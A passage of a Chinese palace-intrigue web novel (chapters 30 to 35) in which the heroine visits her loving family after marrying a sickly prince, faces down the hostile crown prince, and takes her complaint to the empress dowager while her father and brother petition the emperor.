见着沈夫人一脸伤身,眼睑的泪水怎么也无法止住,沈听晚看着,感觉有什么东西似乎撞进了她的心里。 沈夫人这是没有怪罪自己? “好了夫人,快让晚晚进门吧,有什么事情咱们进去再说。”沈将军看到自己的女儿,也是鼻子一酸,大婚夜太子府的事情已经传遍了京城,那一晚,他这个坐父亲的,差点没气的逼宫。 “是啊,妹妹回门是高兴事,娘怎么还哭了。”大哥沈时修也上前一步,站在父亲母亲身后,看着自己的妹妹,满眼尽是心疼之色。 “对对对,看我,见到晚晚高兴,来,跟娘进屋。” 沈妇人抹了抹眼泪,拉着沈听晚的手便往屋里走着。 沈听晚就这样,一脸懵逼的任由自己母亲拉进将军府中。 很显然,沈听晚没想到这儿的父亲母亲和兄长对她竟然这般的热情。 热情的不像话,热情的让沈听晚有点适应不住。 要知道,她在现代刚一出生下来,就被她那两个痴迷研究的父母丢进实验室,成为了实验对象。 从小到大她从来都没有感受过何为亲情,她能感受到的只有冷冰冰的机器,和一串串毫无感情的数据代码。 沈听晚被拉进了房间,独留下沈将军和沈时修以及门外的暗祁带着后面的回门队伍。 沈将军见状,停下脚步,纵然心里头对这门婚事很是不满,但也不好冷下脸,他客气的看过去:“翊王府的祁侍卫?王爷他现在还好吧?” 暗祁立马上前一步恭敬行礼:“属下参见沈将军,王爷他现在好多了。” 的确是好很多了,自打王妃进门之后,他们王爷的状态一天天见好。 沈将军扯了扯僵硬的嘴角,点点头:“那就好,代本将军向王爷问个好。” 第30章 不能让晚晚守寡 “将军客气了!”暗祁立马低头,想着如何当着自家王爷岳丈面前,说说王爷的好话。 “沈将军,王爷身子不便,今日没能陪王妃一同回门,心中愧疚难安,特命属下互送王妃,另外,这是王爷早些年亲自猎得的黑狐,王爷命属下送给将军,以表王爷歉意。” 说着,暗祁立马向身后人使了个眼色,下人抱着箱子上千,恭敬递过去。 沈将军低头看着,眼神一顿,迟疑一瞬开口:“此为世间罕见的上等黑狐皮,千金难求,难为王爷能忍痛割爱啊。” 他可是记得,当今皇帝也极为惦记着黑狐皮呢,这翊王当真就舍得给他? “再好的黑狐皮也抵不过王爷心里的歉意,而且王妃是京城中顶好的女子,王爷说,待他身子好些了,会同王妃一同来将军府向将军,夫人赔罪。” 沈将军负手而立,原本积压在心里的郁结倒是消散了不少,脸色也缓和了几分。 只不过…… 就翊王那身子,还能好吗? 沈将军沉声叹了口气:“那便替本将军谢过王爷吧。” 转头又看向自己的儿子开口:“时修,把东西收下。” “是,父亲。”沈时修顺从开口,从下人手中拿过箱子。 暗祁见状,又忙不迭道:“那属下就不打扰将军与王妃叙旧了,属下在门外等候王妃。” “把东西抬进将军府。”转头,暗祁吩咐这将军府下人,下一瞬,人群动起,一抬抬箱子被送进了将军府。 沈将军和儿子进府之后,看着自己身后忙活的一群人,更是大为震惊。 只不过…… 沈将军像是突然间想到了什么一般,浓黑的眸微微一拧,眼中流露出一抹复杂之色。 “父亲,这翊王殿下人倒是不错,自身病着还能有精力替妹妹筹备这些,还有儿子方才见王府之人对妹妹也是格外敬重。” 沈将军脸色微沉,负手而立:“有什么用?翊王现在自身难保,不知道几日就……”沈将军叹了口气:“难道日后要你妹妹守寡吗?” 沈时修脸色变得难看起来:“是啊,翊王人虽然不错,但也并非良人。” “好吧,进去看看晚晚。” 有些事情,别人不敢做恶人,他这个父亲也必须要做! 房间里,沈夫人拉着沈听晚的手不放,就是因为太过伤感,一味的看着沈听晚哭泣却说不出那句话。 沈听晚坐在椅子上,感觉如坐针毡。 这样的情形,她也是第一次见,不知道该如何是好啊。 好在,沈将军和沈时修此时从门外走进来。 “夫人,晚晚好不容易回来的,你哭什么?”沈将军走到自己夫人身边,抬手心疼的安抚着:“你啊,女儿嫁出去这些天,你就哭了几天,伤心伤了眼睛啊。” 刚感觉到如释重负的沈听晚听到这话又是浑身僵住,抬头不敢置信的看向沈夫人。 见着眼前的妇人,一双原本好看的眸子肿的老高,一看就是哭了许久的样子。 “呜呜呜,我能不哭吗!”听到自己夫君的安慰,沈夫人又抹了眼泪:“晚晚嫁给太子这桩婚事我原本就不愿意,奈何皇帝赐婚不能更改! 可是太子呢,大婚之夜做出此等荒唐之举,是将我的晚晚置于何地啊! 现在又把我女儿转嫁给了病病歪歪的皇叔,这是摆明了不让我女儿好过啊!” 听着母亲的控诉,沈听晚坐在椅子上,是连一句话都不敢说的,心里头更为震惊,她这母亲胆子够大的啊,这么吐槽皇室,真不怕招来麻烦? “哎,皇帝此举的确太过令人心寒了,晚晚啊。”沈将军无奈叹了口气,转眼看向沈听晚。 “太子行不义之举,父亲和你兄长已经联名上奏,弹劾了太子,却于事无补,还是让你嫁到了翊王府,可惜翊王命不久矣啊,晚晚可有想过回家?” 沈听晚听见这话,又是愣了一瞬。 父亲母亲没有觉得她丢人现眼,反而还心疼她? “是啊晚晚,这些天我们一直商量着,既然婚事已成,无法更改,那就求翊王一封放妻书,你与翊王和离,大不了以后不嫁人,大哥养你,也好的过日后在王府守寡要强啊。” 沈听晚正想着,便听到自己兄长又开口。 看着面前只见过一面的亲人,沈听晚却在这一刻无比确定,他们都是一心为自己着想的。 “对,晚晚别担心,明天就进宫去请太后做主,事情原本就是太子过错,我的晚晚没理由沦为牺牲品!”沈夫人也一脸悲愤的开口。 哪怕她的女儿和离成为二嫁女,她也不觉得丢人,只要女儿不受委屈,他们将军府就算背负骂名也值得。 眼看着自己父亲母亲和兄长一个个搓着手似乎只要沈听晚一点头,他们要立刻行动,进宫请旨给她和翊王求和离旨意,沈听晚心里渐渐升起一股暖意,眼眶也渐渐有些湿润。 “爹,娘,大哥,谢谢你们。” 三人皆是一愣。 “傻孩子,说什么谢?你是爹娘的宝贝女儿啊,女儿受了委屈,爹娘哪有坐视不管的理!” “对啊晚晚,你是我的妹妹,在这世上,我不允许任何人欺负你,哪怕他是太子也不行!” 沈听晚吸了吸鼻子,垂下头去:“爹娘,大哥,我没觉得委屈,而且这婚事是我自己求来的,我愿意嫁给翊王殿下。” “什么?” 三人异口同声,目光瞬间不敢置信的看向了沈听晚。 “晚晚啊,你糊涂啊,翊王他……他身子不好,将来若是有个三长两短,那你……” “娘,翊王殿下会好起来的。”沈听晚坚定的看向沈夫人:“更何况,婚事是我求来的,就是在这个时候离开翊王府,将军府会被人诟病,女儿也会成为不义之人啊。” “晚晚,你……”沈将军张了张嘴,铁骨铮铮的汉子,却在这个时候听见自己女儿的话,险些没掉下泪珠子。 “爹,娘,你们还记不记得小时候我曾因病去过神医谷?” 第31章 从未感受过的亲情 将军夫妇相视一眼,随即点了点头,又转头看向沈听晚。 沈听晚又继续说道:“当初我在神医谷待了两年,在那儿女儿拜了师,习得医术,对于翊王的病情,是有把握治好的。” “晚晚,你是打算要给翊王殿下医治?” 将军夫妇二人算是听明白了,见着沈听晚点头,脸色纷纷变得难看的紧。 “万万不能这样做啊!” 沈听晚脸上带着一抹诧异,下意识开口:“爹娘觉得有何不妥吗?” 将军夫妇相视一眼,随即沉声叹了口气,欲言又止。 大哥沈时修却在这个时候抬头看向沈听晚,脸上写满了担忧:“妹妹,你有没有想过,你给翊王殿下医治的消息若是传出去,你将会面对什么?” 沈听晚一顿,这她还真没想那么多。 沈时修又轻叹一声:“这一年多来,翊王殿下看过的大夫无数,就连陛下也为其大为操劳,请了多少名医,都说翊王无药石可医。 妹妹虽然在神医谷小住过一段时间,可所学医术怎能和宫中太医相比啊?”沈时修这么说,不是轻视沈听晚,而是真心为自己的妹妹担忧。 “倘若消息传出去,可最后翊王殿下的身子没好,那这一切的罪行,都会压在你一人的身上,明白吗?” 沈时修毕竟也是同父亲一般同为朝中臣子,自然是深谋远虑一些。 如今,京城中无人不知翊王仅凭一口气吊着命,就连太医都束手无策,也正是因为这样,他们在担心沈听晚,宁愿她和离,也不想今后守寡,又或者说,如果沈听晚不和离,可能连命都保不住。 “时修说的没错,这正是我和你娘担心的地方。”沈将军看向沈听晚,眼底流露出一抹不忍心疼之色:“咱们沈家虽然手握重兵,皇帝看似信重,实则早已经生出忌惮之心了,若你没治好翊王的病,恐怕那个时候就连为父都保全不了你啊。” “晚晚,听你爹的话,这个翊王妃咱们不坐也罢,此番是太子犯错,即便现在你与翊王和离,陛下和太后也说不出什么的。”沈夫人也是一脸担忧地开口。 沈听晚深吸一口气,垂下眼去,脑中却不断想着如何说服着三人。 “可是,爹娘,我现在不能与翊王和离。” 良久,沈听晚在抬眼,眸光沉静地看向三人。 “为何?” 沈听晚停顿了一下,随即抿了抿唇:“新婚夜那天,我为了不嫁给太子,转嫁翊王,答应了太后娘娘要给翊王延嗣的条件,大婚之日,女儿已经与翊王殿下圆了房……” “什么?”沈夫人满眼不敢置信的瞪大双眼,不多时,泪水打湿眼眶:“晚晚,你怎么……” 沈将军的脸色也一白:“原来……那些人传的竟都是真的?” 沈听晚:“爹,娘,当时情况紧急,陛下本欲让我继续与太子完婚,可太子在新婚夜上所做作为,实在让女儿寒心,女儿断不能再继续当什么太子妃了。 如今我与翊王圆房之事已经传出,想必太后不会准允女儿与翊王和离的。 而且就算女儿成功和离,陛下与太后难保不会因为女儿损了皇室颜面,而对女儿对沈家下杀手啊。” 沈听晚心里的确想着要与君翊和离,但却不是现在,她既然和君翊做了交易,那就一定要医好他。 只有医好翊王,沈家才能有活下去的机会。 因为,沈家手握重兵,现如今皇帝有给了沈家极高的权利,这可不是信重沈家,而是正如父亲所言,皇帝是早已经对沈家起了杀心。 正因为这一点,沈听晚才更要趁着这个时候抱紧君翊的大腿,最起码,君翊活了,作为报答,他也不会让沈家出事。 “可是……”沈夫人低下头去,掩面而泣:“若翊王真的死了……我的晚晚可怎么办啊?” “娘,你相信女儿吗?”沈听晚抬眼,郑重其事地看向面前的母亲,认真开口。 沈夫人吸了吸鼻子:“自是信的。 晚晚从小就有学医的天赋,当年爹娘去神医谷接你的时候,老神医还舍不得放你走呢,这些年你也从未放弃过钻研医术,可是……”沈夫人又不忍的开口:“翊王殿下终究伤得不轻啊……” 沈夫人是担心,行差踏错,自己的女儿就会跌入万丈深渊。 “女儿若是没把握,也绝不会提出给他医治。” 见着沈听晚眼底的坚决之色,将军夫妇和沈时修也不知道该如何劝说才好。 又或者说他们现在没有别的路可以走了。 正如沈听晚说的那样,皇帝是不会同意她与翊王和离的。 “哎,罢了,既然晚晚已经做了决定,那爹娘支持你,大不了为父这个将军不做了,也定会护住你。” “是啊,陛下一直忌惮沈家,儿子这个官做的也憋屈至极,与其这样倒不如辞官当一个白衣来的自在。” 沈时修也下定了决心,倘若妹妹失败,他就算是不做官了,也定和父亲一起护住妹妹。 “爹,娘,大哥……谢谢你们。”沈听晚听着父亲和大哥这样说,瞬间鼻子一酸,一整颗心似乎被人狠狠攥紧,叫她有些呼吸不上来。 她原本以为,所谓的亲情,不过是因为自己有价值可以作为最亲人利用的工具而已,至少,她在现代的时候,一直是这么认为的。 可是现在,有那么一刻,沈听晚甚至生出了对原主的嫉妒之心,因为,她从小到大,从未感受到过这种血浓于水的亲情…… 第一次,沈听晚的眼眶微微泛起了红意。 她看着父母和大哥看向自己心疼的眼神,原本冷漠的心也似乎在一点点消融,正要开口,却又下人从门外跑了进来:“将军,太子殿下来了,说是来向将军府和小姐道歉的。” 听见下人的话,将军夫妇和沈时修脸色纷纷沉下去。 “哼!”沈将军冷嗤一声,随即厉声开口:“他还好意思登门! 出去告诉太子,今日将军府不见客!” 第32章 皇叔那个病秧子马上就要死了 下人脸色难看的紧,垂下头去,支支吾吾说不出个什么来。 “就按本将军的话出去传!”沈将军厉声一喝。 他们沈家没有去找太子的麻烦,就已经是估计皇室颜面了,想不到,太子这厮竟然还敢亲自登门! 下人抬头看了眼满脸怒气的沈将军,随后小心翼翼开口:“将军,太子殿下说了,今天若是见不到王妃,他绝不会离开。” 沈将军更为怒火中烧,他一掌重重拍在桌案上,发出“砰”地一声巨响来,随即怒骂道:“好一个太子,大婚之夜做那等荒唐之事,今儿晚晚回门之日,他竟然还敢登门来闹,是真觉得我沈家无人了吗?” “爹。”沈听晚抬眼看过去,随即开口:“看样子今日若不见他,太子决不会善罢甘休,且看他此番究竟要做什么吧。” 沈将军眉头紧锁,眼底闪过一丝冷光,随即沉声开口:“先把人请到前厅去吧。” “是。”下人立马告退下去,快步朝着门外走去。 此时,沈将军看向沈听晚:“晚晚,爹陪你一起去。” 他倒要看看,这太子葫芦里究竟卖的什么药! 若是他胆敢在将军府欺负自己女儿,沈将军眼底迸发出一抹寒意来,他不介意让着东陵的太子换个人来坐! 沈听晚心头一暖,嘴角勾起一抹暖意:“爹,太子要见的人是我,我一人去就好。” “那怎么行?”沈将军想也不想便拒绝道:“万一太子欺负你,爹不在你身边,怎么能安心啊!” “爹,这里是将军府,太子不会那么大胆,更何况,我现在是翊王妃,怎么说,也算是他的长辈啊。”沈听晚勾唇浅笑道。 将军夫妇沉思一会儿,见着沈听晚一脸坚定,只好开口答应下来。 只是在沈听晚出门之后,沈将军便立马起身,同自己儿子一起脚步跟了上去。 沈听晚在出门没多久便感受到了身后的远远跟来的脚步声,嘴角微动,垂眸继续向前厅走着。 她倒没有生气父亲和兄长暗中跟过来,因为她知道,他们这是在担心自己的安危。 沈听晚继续朝着前厅走着,刚到门口还为进去,便听到君宁玄言辞不善的声音响起:“本太子今日来是道歉的,怎么说也算是将军府的客人,沈将军让本太子等这么久,这便是将军府的待客之道吗?” 沈听晚听着声音,冷笑一声:“贸然登门的也能算是客?”她掀开帘子走进去,脸色淡然带着一丝冰冷。 君宁玄抬眼看过去,再见到沈听晚,他都恨不得冲上去杀了这个贱人。 大婚之夜让他受尽了耻辱,父皇大怒,让他在太子府跪了三日,到现在他的膝盖还疼着呢! 如果不是母后逼着他来将军府给这个贱女人来道歉,他定是连见都不会见沈听晚的。 “沈听晚!你还真是好手段,连母后都向着你让本太子来给你道歉,从前我当你是个柔弱的,想不到竟是这般不折手段的心机婊!” 沈听晚目光闪了闪,嘴角勾起一抹冷意。 原来是皇后逼着他来的啊。 怪不得。 她就说么,叶雪初已经进了东宫的门,在书中这二人本该你侬我侬,如胶似漆的,君宁玄怎么会在今日出现在将军府呢。 “所以,原来是皇后娘娘让太子来的啊。” “明知故问!”君宁玄瞪了沈听晚一眼,随即愤怒拂了拂袖,生怕多看沈听晚一眼,会脏了自己的眼睛。 沈听晚扯了扯唇,冷淡地开口:“那太子现在就道歉吧。” 沈听晚的个子到君宁玄的肩膀处,看上去娇小可人,可是声音却仿佛浸了冰水般让人心生寒意。 “你说什么?”君宁玄眯着眼,眸中透着一抹冰冷,心中更为震惊,这个死女人竟然还敢让他道歉,他能来将军府一趟,就已经是给足了将军府颜面了! 沈听晚见着君宁玄一脸错愕还带着一丝愤怒,神色略带玩味:“不是皇后娘娘让太子殿下向我道歉吗。”她点点头:“我人就在这儿,太子殿下要如何道歉,我看着。” 说着,沈听晚走到离自己最近的椅子旁,缓缓坐下,眼神移目看向君宁玄,淡笑这开口。 “沈听晚!”君宁玄见着沈听晚的态度,瞬间勃然大怒,眼中的火光恨不得要将沈听晚活活烧死:“本太子是给你脸了,你是何种身份,竟配得起本太子与你道歉!” “这话说的,好像是我逼着太子来似的。”沈听晚忍下嘴角的讥讽,淡声开口:“太子若不肯道歉,那就请回吧,明日我进宫请安时,自会将太子的话原封不动的回禀皇后娘娘的。” “你威胁本太子?” “何来的威胁?太子可别栽赃陷害我,将军府这么多人看着呢,你堂堂太子,可不是我三言两语就能威胁的了的。”沈听晚微微扬了扬头:“今儿是我回门的日子,还有很多话要与爹娘兄长叙旧,太子要道歉就赶紧的,若不愿就请回吧。” 沈听晚淡漠的态度,让君宁玄的神色怔愣了一下。 这个女人,似乎和他想的不大一样。 君宁玄预想的沈听晚在见到自己后,应该会破口大骂,怨恨他在新婚之夜和叶雪初洞房,像个泼妇似的与他动手。 到时候,他就带着身上的伤回去,向父皇母后告状,治沈听晚一个大逆不道打伤太子之罪。 君宁玄来时是这么计划的,可没想到,沈听晚却根本不上钩啊! 君宁玄紧盯着沈听晚白皙如桃花般娇艳的面容,眼底的怒火无法遮掩下去。 大婚之夜的屈辱,父皇的责罚,让君宁玄险些丧失理智恨不得将沈听晚撕碎。 他心里发了狠,来日等他登基,第一份旨意就是要将沈家满门抄斩,以报他今日之辱! 君宁玄心神一动,一计不成心中便又生一计,他嘴角勾起满满地恶意:“沈听晚,你得意什么,皇叔那个病秧子马上就要死了,你嫁给他,不久就会守寡。”兴奋的语气带着一丝幸灾乐祸地道。 第33章 太子是觉得将军府没人了吗? 他就是要告诉沈听晚,嫁给那个瘫子,还不如嫁给自己当一个风光无限的太子妃。 沈听晚闻言,缓缓抬眸,清冽的眸光不惊不惧,淡漠疏离的冷眸睨向君宁玄:“所以,太子殿下究竟想说什么?” 没有看见沈听晚脸上有半分惊惶失措,更无一丝崩溃哭嚎的失态,君宁玄胸中怒火骤然翻涌,指节攥得发白,青筋暴起,一步踏前,几乎逼至她身前。 他俯身下去,眼神阴鸷,唇齿间迸出低哑狠戾的嘶吼:“你嫁的那个死瘫子,他要死了,你说,他死了,谁会注意到你这个寡妇?” 话音未落,眼底已掠过一抹淬毒般的阴狠。 等皇叔死了,他保证会叫沈听晚死的很惨。 他要让全京城所有的乞丐全部都尝一尝沈听晚的滋味儿! 沈听晚微歪了一下头,慢悠悠开口:“太子这话不怕传出去被人说大逆不道吗? 太后和陛下若是知道,当心你的太子之位不保啊。” 君宁玄:“……”满脸黑线。 看向沈听晚的眼神突然间变得怪异起来,只觉得沈听晚是不是疯了,或者说嫁给了那个瘫子,就接受现实了? 沈听晚好看的柳叶眉微微上挑,神色耐人寻味。 君宁玄此时惊愕的神色告诉她,他也并不是没有忌惮的。 至少,君宁玄还很在乎自己的太子之位。 哪怕他是皇帝唯一的皇子,这太子之位对他来说,也并不是板上钉钉。 她漫不经心地瞥见君宁玄面庞下脖颈处那半遮半掩的暧昧吻痕。 她唇角微扬,笑意清冷如刃 :“太子与叶姑娘同房了?” “还用问吗?与你大婚之夜,你不是亲眼所见?”君宁玄直了直身子,居高临下的仰起头,眼中带着一抹挑衅。 “怎么,后悔了,是不是那个瘫子在床上满足不了你啊?”君宁玄冷嗤一声,语气越发刻薄:“太子可是听说,你与他同房,可是你一人在忙活呢,啧啧啧,瞧瞧,这就是你不嫁给本太子反而去嫁给一个瘫子的下场!现在后悔了?可惜,晚了!”君宁玄一脸幸灾乐祸的开口,嘴角止不住的扬起一抹嘲讽。 沈听晚大婚夜一人同房,已经传遍了皇宫,如今都差点成为全京城最大的笑话了! 沈听晚:“……”抬眼满是同情的看向君宁玄。 就他这般肾气枯竭、阴阳两虚、连子嗣根基都已崩塌的绝嗣之体,她后悔什么? 沈听晚嘴角挑起一抹笑:“太子还是把心放回肚子里吧,就你这个阴阳两虚的废……还不足以叫我后悔。” 废物这两个字,沈听晚差点就脱口而出了。 君宁玄面色骤沉,双目赤红,牙关咬得咯咯作响:“你……什么意思?!” 心里却是大为震惊,沈听晚是怎么知道这些的? 沈听晚垂眸,指尖轻轻拂过袖口金线暗纹,勾唇浅笑道:“当日我见太子和叶姑娘在床上就看出来了,太子是不是感觉行床事的时候力不从心啊?” 沈听晚又轻叹一声,语调婉转,却字字剜心:“也不知道你这……身体,能不能满足叶姑娘,哦不对,是叶才人,你说,若是她不能在你这无法得到满足,出去偷别的男人的种,那太子殿下岂不是……” 沈听晚欲言又止,只不过那眼神却有意无意的朝着君宁玄的头上瞟了瞟。 沈听晚现在似乎都能看到,君宁玄头顶上那好大一片的青青草原了! “沈听晚!”君宁玄彻底失控,双目赤裂,杀意沸腾:“看本太子今天不撕烂你这张嘴!”说着,便一个快步发疯了般朝着沈听晚的方向冲了过去。 沈听晚的目光一冷,还没等她起身躲闪,便见君宁玄“嘭!”地一声,重重地跪在了自己面前。 “放肆!” 沈听晚的嘴角抽了抽,抬眼看过去,是暗祁不知道什么时候冲了出来,一个剑鞘打在君宁玄的膝盖窝处,不远处,沈将军和沈时修也大步赶过来。 两人连忙将沈听晚护在身后,沈将军脸上更是怒气横生:“太子,是想要在本将军府上行凶吗?” 心里更是后怕,如果不是翊王府的侍卫及时赶过来,他女儿恐怕就要成为太子的刀下亡魂了。 他朝暗祁颔首致意,目光沉肃而郑重。 太子的膝盖本就因着连跪了三天疼的要命,这会儿更是从膝盖骨传开钻心的痛,眼中戾气翻涌如墨:“将军这是要杀了本太子吗!” 暗祁上前一步,面如寒铁,声如霜刃 :“太子殿下,你看错了,是我出的手。” “区区一侍卫也敢放肆?”君宁玄眉头紧锁,抬眼打量着暗祁。 “臣奉王爷命,保护王妃娘娘安危,太子方才张口闭口要将王妃打杀,是觉得王妃娘娘背后无人吗?” 沈将军也冷眼看过去:“太子开口闭口说我女儿今后要守寡,是觉得我女儿今后无靠山了吗!” “你……你们!”君宁玄双唇气的直哆嗦,强忍着痛从地上颤颤巍巍起身,抬手怒指着众人,大声怒吼:“本太子今天就要到父皇的面前告你们大不敬之罪!” 在场的每一个人,都跑不了! 君宁玄是气狠了,眼中迸发的杀意正浓,恨不得要将在场所有人都送上断头台才能解心里那口恶气。 “可不止太子一人会告状!”沈听晚突然间站出一个身位来,冷言开口:“我也要进宫去,求见太后娘娘问一问,我的夫君怎么就成太子口中的瘫子了!”质问的话从沈听晚的红唇缓缓吐出。 “太子今日所举,究竟是一人为之,还是所有人都认为翊王殿下命不久矣,觉得我这个王妃是软柿子就可以任人摆布了?” 在君宁玄要激怒她的时候,沈听晚就已经有所察觉了,就这拙劣的手段,沈听晚真是不知道,他这太子之位还能坐多久。 “对,本将军也要求见陛下,问一问太子殿下以道歉之名,却意欲在将军府行凶,究竟意在何为!” 沈听晚和沈将军接连开口,君宁玄心中是又惊又恼,伸手便指着众人的鼻子,一张愤怒的脸极致扭曲:“你们少栽赃污蔑本太子!” 第34章 告状?谁不会啊。 “是不是栽赃污蔑,自有陛下圣裁明断。”沈听晚朱唇微启,声如清泉击玉,字字清晰,不卑不亢。 随即转眼看向暗祁,语调清冷如霜:“随本王妃进宫一趟,本王妃要求见太后娘娘。” “是!”暗祁恭敬应下,转身便准备出门知会车夫随时准备启程。 “晚晚,爹也陪你一起,我去求见陛下。” “我也去,孩儿再怎么说也是大理寺少卿,面圣的资格还是有的!”沈时修冷声开口,敢欺负他妹妹,他今天定让太子知道知道什么叫自讨苦吃! 一家三口齐上阵,独抛下君宁玄一人在前厅凌乱,几人纷纷朝着门外而去。 也就沈夫人没在前厅看到太子对自己女儿的羞辱,不然也定会以诰命之身进宫去告上君宁玄一状了! 沈听晚和沈将军,沈时修三人一同出现在皇宫门口,三人衣冠整肃,神情凛然,引得守宫禁军悄然侧目,低声私语。 御书房内。 赵启林进殿禀报:“陛下,沈将军,大理寺少卿求见,还有翊王妃要求见太后娘娘。” 皇帝放下手中折子,眉头紧蹙了蹙:“今儿不是沈听晚回门的日子吗,怎么一大家子倒是要都来见朕了?” “回陛下,奴才去打听了一番,说是翊王妃今日回门,太子殿下也去了将军府……”赵公公恭敬的垂头开口回道。 皇帝脸上的神色又难看了几分:“太子?他去凑什么热闹?” 赵公公俯首更低:“奴才听说,是皇后娘娘命太子殿下去将军府给翊王妃赔罪的,只不过不知道为何,将军却进宫来了。” 听见这话,皇帝眼底闪过一丝不满:“堂堂太子,何需给一个臣子认错?更何况朕已经责罚过太子了,皇后真是荒唐!” 皇帝心里升起一抹怒气,沈家虽然手握重兵,但毕竟也是臣子,他的儿子,即便是犯了错,也有他这个父皇在,什么时候轮到给一个臣子道歉了! “陛下说的是,不过沈将军一家现在求见陛下,依奴才浅见,应是来向陛下请罪的。” “哦?”皇帝挑了挑眉,脸色缓和了几分。 看来这沈家还知道几分为臣子之道,大概是如赵启林所言,太子登门道歉,沈家觉得有愧于心,所以进宫来向他请罪的。 想到这里,皇帝嘴角为勾了勾:“那就让他们进来吧,另外翊王妃进宫来,应是向太后请安的,将她带去慈宁宫见太后吧。” 赵启林立马开口恭敬应下:“是。” 一柱香的功夫,沈将军与沈时修进了御书房。 “老臣/微臣参见陛下。” 皇帝抬头,看向台下两人,脸上露出和善的笑意开口:“爱卿不必多礼,都起来吧。” “多谢陛下。” 皇帝放下折子,淡淡开口说道:“太子今日去将军府向翊王妃道歉之事,朕已经听说了,此番的确是太子犯下大错,道歉也是应该的。” 沈将军与自己儿子相视一眼,随即重重跪在地上,双手交叠磕头拜下:“陛下,请陛下为老臣及老臣的幼女做主!” 皇帝神色一凝:“沈将军这是做什么?快起来,何事需要来求朕做主?” …… 与此同时,慈宁宫内,檀香氤氲,瑞兽吐雾。 首领嬷嬷将沈听晚带进宫内,沈听晚一见到太后,便裙摆一撩,直直跪在了太后面前。 “臣妇沈听晚,见过太后娘娘,太后福寿安康。” 太后见到沈听晚,眼底闪过一丝不易察觉的厌恶,不过很快便隐了下去,换上一副慈祥的笑意:“好孩子,快起来,今儿不是回门的日子吗,怎么想着要进宫来向哀家请安了呢? 快,来人,赐座。” 太后发了话,立马便有宫人走上来准备扶起沈听晚,然而沈听晚却执意不肯起身,宫人站在一旁,一时有些不知所措。 “太后娘娘,臣妇今日进宫,不止要向太后请安,还有一事,请太后娘娘为臣妇做主。” 沈听晚跪在地上,身板却挺得笔直,满脸一副受了委屈伤感的模样。 太后笑意微滞,指尖在凤椅扶手上轻轻一扣,目光缓缓落在沈听晚的脸上:“翊王妃这是要让哀家给你做什么主?” 沈听晚吸了吸鼻子,似乎是强撑着将眼眶的泪水逼退回去,哽咽的将太子今日到将军府之后发生的事,一一泣诉而出。 沈听晚的话音落下,太后的脸色已经难看到了极致:“荒唐!太子竟然还敢做这种事儿!” 沈听晚垂下头去,强忍泪水:“臣妇嫁给翊王殿下,是太后娘娘答应的,臣妇本想与翊王殿下好好过日子,可是太子殿下竟然……他竟然诅咒臣妇的夫君。”话到这里,沈听晚的泪水似乎是忍不住一般,泪珠子噼里啪啦的从脸颊滚落在地上:“他还骂翊王殿下是死瘫子,短命鬼,臣妇实在是忍无可忍啊。” 沈听晚似乎像是打开了话匣子一般,跪坐在地上也不起来,抬起小手一边抹着泪,一边控诉着:“臣妇实在是想不明白,臣妇明明已经成全了太子和叶才人,他为何还要对臣妇苦苦相逼!” “呜呜……太子此举实在是让臣妇无颜活在世上,太子还说,翊王不久与人世,太后娘娘要让臣妇下去陪葬,若真是如此,那臣妇倒不如现在就去了,到九泉之下等着翊王殿下,我们夫妇二人也好在九泉下做一对夫妻啊!” 此言一出,满殿宫人屏息,空气仿佛凝滞。 这话的确是沈听晚在路上现编的,不过太后听到耳中,脸色却是骤然一变,一掌用力拍在桌子上,发出一声巨响。 “混账!哀家何时说过这些话了!”心里却惊得不行,眉头顿时紧蹙起来,她和皇帝的对话,怎么就传到太子耳朵里去了? 她虽然决定了让沈听晚下去陪葬, 可是这话,在翊王活着的时候,断不能传出去! 可太子好死不死,不光知道了这些,还把这件事大肆宣扬了出去,太后是又惊又怒,心里暗骂太子这个蠢货。 第35章 贱人说本太子绝嗣 看着眼前端坐于凤座之上的太后,听闻自己那句质问竟引得她反应这般激烈,沈听晚垂眸掩去眼底一闪而过的寒芒,却只在瞬息之间便被浓密睫羽悄然遮蔽,她缓缓抬首,眼尾微红,泪光盈盈,似受尽惊惶与委屈,怔怔凝望着太后,声音轻颤:“太后娘娘……当真从未说过让臣妇陪葬的话么?” 太后面色微僵,唇角牵起一抹不自然的笑意,讪讪开口:“自是从未说过!哀家想,定是太子一时糊涂,情绪失常,才口不择言,拿这些骇人听闻的话来吓唬你。” 她顿了顿,语气陡然转柔,语调里裹着几分刻意的慈爱与温存:“翊王虽非哀家亲生,可自幼养在膝下,哀家一向视若己出,而你身为翊王妃,端庄贤淑、温婉知礼,哀家早已将你当作亲生女儿一般疼惜。又怎么舍得让你陪葬。” 太后嘴上这样说着,心底却已翻涌起滔天怒火,更是恨极了那个成事不足,败事有余的家伙! 她眉峰一凛,眸光骤然凌厉,拍案而起,又继续沉声说道:“来人!速去让太子给哀家滚过来!另外再派人即刻请皇帝过来一趟!” 不过半盏茶工夫,皇帝便面色阴郁地踏入殿内。目光扫过跪伏于地的沈听晚,眼眶通红,神情凄楚而又隐忍,仿佛受尽万般委屈,一时只觉得和不是头疼,心中更为烦躁。 方才在御书房,沈将军与沈家嫡子轮番上阵弹劾,字字如刀、句句带锋,弹劾太子狂悖失德、辱及皇室尊严。 皇帝心中气极,这一家子一定是故意的,一起进宫来告太子的状。 弄得他想不罚太子都说不过去了! “儿臣给母后请安。”瞥了沈听晚一眼,皇帝转头看向太后随即恭敬的行礼。 太后沉着脸,语气有些不善直接开口问道:“太子的事,陛下都听说了吧?” 皇帝一顿,眸色晦涩难辨:“是,方才沈将军以向朕言明。” “那陛下准备如何处置?” “皇后让他去将军府道歉,有何不妥?他竟然在将军府大放厥词,还诅咒自己的皇叔,对皇婶不敬 ,陛下若是心软,那就让哀家来处置!”太后是气急了,今日无论如何也要给那个混账东西一点教训! “母后,朕已经传那逆子进宫了,不如等下听听太子如何辩解,再处置如何?” “哼!”太后冷哼一声:“他还能有什么可辩解的?难不成将军府还能冤枉了他!” 见皇帝面色愈发凝重,太后才稍敛锋芒,拂袖道:“罢了,就让太子进宫来一趟,哀家也想听听,他究竟怎么说!” 而沈听晚却知至知终静默跪于殿中,纤细身影在富丽堂皇的殿中显得单薄如纸。 不知道是不是皇帝和太后实在是气急了,还是完全忽视了她这个人的存在,沈听晚就这样一直跪在地上,似乎被所有人都遗忘了般。 冰凉的汉白玉石与沈听晚的膝盖接触,寒气逼近沈听晚的膝盖骨,刺骨钻心,直抵肺腑。 她没有抬头,却能感觉到台上皇帝投来的阴沉目光,看她时那愤怒与带着杀意的眼神。 那样的眼神,就好像她是众矢之的,恨不得将她杀之而后快。 还真是一个虚伪的皇帝。 表面上看上去冠冕堂皇,其实却恨不得要了她的命。 